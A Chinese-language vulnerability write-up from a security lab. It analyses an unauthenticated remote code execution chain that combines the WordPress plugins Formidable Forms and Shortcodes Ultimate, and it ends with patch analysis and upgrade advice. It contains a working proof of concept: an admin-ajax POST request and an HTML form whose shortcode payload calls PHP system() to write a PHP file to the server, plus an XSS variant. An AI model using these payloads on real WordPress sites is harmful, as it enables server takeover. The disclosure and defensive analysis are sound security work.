作者:蔡思阳@360天眼实验室
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 漏洞概述
在前段时间,WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms,其中Shortcodes Ultimate的下载量在70W+,而formidable forms的下载量在20W+,影响的范围比较广泛。
这个漏洞主要是由formidable forms引起的,该插件无需任何权限便可预览表单,然而对上传的html代码没有做任何检验,所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes Ultimate可以自定义shortcode,两者结合就可以造成严重的远程代码执行漏洞,而且无需任何权限。
0x01 漏洞分析
利用条件:
插件:Shortcodes Ultimate<=5.0.0
插件:formidable forms <= 2.0.5.1
我们的分析思路从文后附录的POC开始。
POST /wp-admin/admin-ajax.php HTTP/1.1
action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1
action=frm_forms_preview
tips:
WordPress插件的执行流程:
申明一个add_action,将tag绑定一个函数,类似于route
然后通过do_action或者ajax来调用
所以从action=frm_forms_preview来入手,搜索frm_forms_preview
在FrmHooksController.php中的load_ajax_hooks函数
add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );
可以看出,frm_forms_preview动作绑定在preview函数上
public static function preview() {
do_action( 'frm_wp' );
global $frm_vars;
$frm_vars['preview'] = true;
if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) {
global $wp;
$root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );
include_once( $root . '/wp-config.php' );
$wp->init();
$wp->register_globals();
}
header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
$key = FrmAppHelper::simple_get( 'form', 'sanitize_title' );
if ( $key == '' ) {
$key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );
}
$form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 );
if ( empty( $form ) ) {
$form = FrmForm::getAll( array(), '', 1 );
}
require( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/direct.php' );
wp_die();
}
preview调用direct.php,而direct.php调用show_form函数来展示页面
public static function show_form( $id = '', $key = '', $title = false, $description = false, $atts = array() ) {
…
…
if ( self::is_viewable_draft_form( $form ) ) {
// don't show a draft form on a page
$form = __( 'Please select a valid form', 'formidable' );
} else if ( self::user_should_login( $form ) ) {
$form = do_shortcode( $frm_settings->login_msg );
} else if ( self::user_has_permission_to_view( $form ) ) {
$form = do_shortcode( $frm_settings->login_msg );
} else {
$form = self::get_form( $form, $title, $description, $atts );
/**
* Use this shortcode to check for external shortcodes that may span
* across multiple fields in the customizable HTML
* @since 2.0.8
*/
$form = apply_filters( 'frm_filter_final_form', $form );
}
return $form;
}
此时的frm_settings
可以看到login_msg,我们是不需要登录的
所以show_form走的是else流程
$form = self::get_form( $form, $title, $description, $atts );
/**
* Use this shortcode to check for external shortcodes that may span
* across multiple fields in the customizable HTML
* @since 2.0.8
*/
$form = apply_filters( 'frm_filter_final_form', $form );
调用get_form函数
public static function get_form( $form, $title, $description, $atts = array() ) {
ob_start();
self::get_form_contents( $form, $title, $description, $atts );
self::enqueue_scripts( FrmForm::get_params( $form ) );
$contents = ob_get_contents();
ob_end_clean();
self::maybe_minimize_form( $atts, $contents );
return $contents;
}
调用get_from_contents
而get_form_contents
if ( $params['action'] != 'create' || $params['posted_form_id'] != $form->id || ! $_POST ) {
do_action('frm_display_form_action', $params, $fields, $form, $title, $description);
if ( apply_filters('frm_continue_to_new', true, $form->id, $params['action']) ) {
$values = FrmEntriesHelper::setup_new_vars($fields, $form);
include( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/new.php' );
}
return;
}
调用了setup_new_vars函数,
setup_new_vars函数将post请求的内容取出来存放在value数组中
然后调用了new.php,而new.php调用form.php,
form.php调用replace_shortcodes
<?php echo FrmFormsHelper::replace_shortcodes( $values['before_html'], $form, $title, $description ); ?>
并将before_html的值传入
replace_shortcode函数对$html做一系列过滤,并最终调用
if ( apply_filters( 'frm_do_html_shortcodes', true ) ) {
$html = do_shortcode( $html );
}
此时的$html就是before_html的值
do_shortcode函数执行shortcode
我们看看do_shortcode函数
* @since 2.5.0
*
* @global array $shortcode_tags List of shortcode tags and their callback hooks.
*
* @param string $content Content to search for shortcodes.
* @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.
* @return string Content with shortcodes filtered out.
*/
function do_shortcode( $content, $ignore_html = false ) {
global $shortcode_tags;
if ( false === strpos( $content, '[' ) ) {
return $content;
}
if (empty($shortcode_tags) || !is_array($shortcode_tags))
return $content;
...
注释上写的很清楚,如果传入的$shortcode_tags存在于全局变量中的话,就会调用相应的hook函数,如果不存在就原样输出。
此时再来看一下我们的payload,
before_html=[su_meta key=1 post_id=1 default=''echo 1 > wp_rce.txt' filter='system']
$shortcode_tags=su_meta
而Shortcodes Ultimate插件的load.php将su_meta注册了,所以就会调用su_meta对应的函数
在Shortcodes Ultimate插件的inc\core\load.php中会将inc\core\data.php中shortcodes数组里里存在的标签遍历一遍,然后通过add_shortcode注册
public static function register() {
// Prepare compatibility mode prefix
$prefix = su_cmpt(); // $prefix=su_
// Loop through shortcodes
foreach ( ( array ) Su_Data::shortcodes() as $id => $data ) {
if ( isset( $data['function'] ) && is_callable( $data['function'] ) ) $func = $data['function'];
elseif ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );
elseif ( is_callable( array( 'Su_Shortcodes', 'su_' . $id ) ) ) $func = array( 'Su_Shortcodes', 'su_' . $id );
else continue;
// Register shortcode
add_shortcode( $prefix . $id, $func );
}
// Register [media] manually // 3.x
add_shortcode( $prefix . 'media', array( 'Su_Shortcodes', 'media' ) );
}
}
而shortcodes数组存在meta标签,所以走的是
else if ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );
这个条件
而inc\core\shortcodes.php中存在meta函数,
public static function meta( $atts = null, $content = null ) {
$atts = shortcode_atts( array(
'key' => '',
'default' => '',
'before' => '',
'after' => '',
'post_id' => '',
'filter' => ''
), $atts, 'meta' );
// Define current post ID
if ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID();
// Check post ID
if ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) );
// Check key name
if ( !$atts['key'] ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'please specify meta key name', 'shortcodes-ultimate' ) );
// Get the meta
$meta = get_post_meta( $atts['post_id'], $atts['key'], true );
// Set default value if meta is empty
if ( !$meta ) $meta = $atts['default'];
// Apply cutom filter
if ( $atts['filter'] && function_exists( $atts['filter'] ) ) $meta = call_user_func( $atts['filter'], $meta );
// Return result
return ( $meta ) ? $atts['before'] . $meta . $atts['after'] : '';
而meta函数中最重要的一句就是$meta = call_user_func( $atts[‘filter’], $meta );
会将filter的值作为处理函数,处理meta的内容。而meta来自于default的值
而我们传入的是[su_meta key=1 post_id=1 default=’echo 1 > wp_rce.txt’ filter=’system’]
就利用system函数执行了我们的短代码
0x02 漏洞验证
Poc:
<html>
<body>
<h2>payload:</h2>[su_meta key=1 post_id=1 default='echo <?php phpinfo();?> > ../wp-content/wp_rce.php' filter='system']
<form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value='frm_forms_preview' />
<input type="hidden" name="form" value="{'contact-form'}" />
<input type="hidden" name="before_html" value="[su_meta key=1 post_id=1 default='echo ^<?php phpinfo();?^> > ../wp-content/wp_rce.php' filter='system']" />
<input type="hidden" name="custom_style" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
将上述poc保存为html之后,点击submit,访问http://127.0.0.1/wordpress/wp-content/wp_rce.php
同样的原理,如果将payload改为
<script>alert(‘XSS’)</script>
就会造成xss
0x03 补丁分析
formidable forms在新版本中修改了setup_new_vars函数
存在漏洞版本:
foreach ( $form->options as $opt => $value ) {
$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value );
unset($opt, $value);}
$values = array_merge( $values, $form->options );
可以看出,跳过了get_post_param函数,并没有取出post中的值修复版本:
Shortcodes Ultimate在新版本中添加了对filter函数的检验
存在漏洞版本:
'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
修复版本:
'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Name of your function must include word <b>filter</b>. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"
可以看出filter函数必须包含filter字符串
0x04 防护建议
如果使用到了这两款插件,请尽快升级:
formidable forms升级至2.05.07
Shortcodes Ultimate升级至5.0.1
0x05 参考文章
任何问题可以联系我silence.darker@gmail.com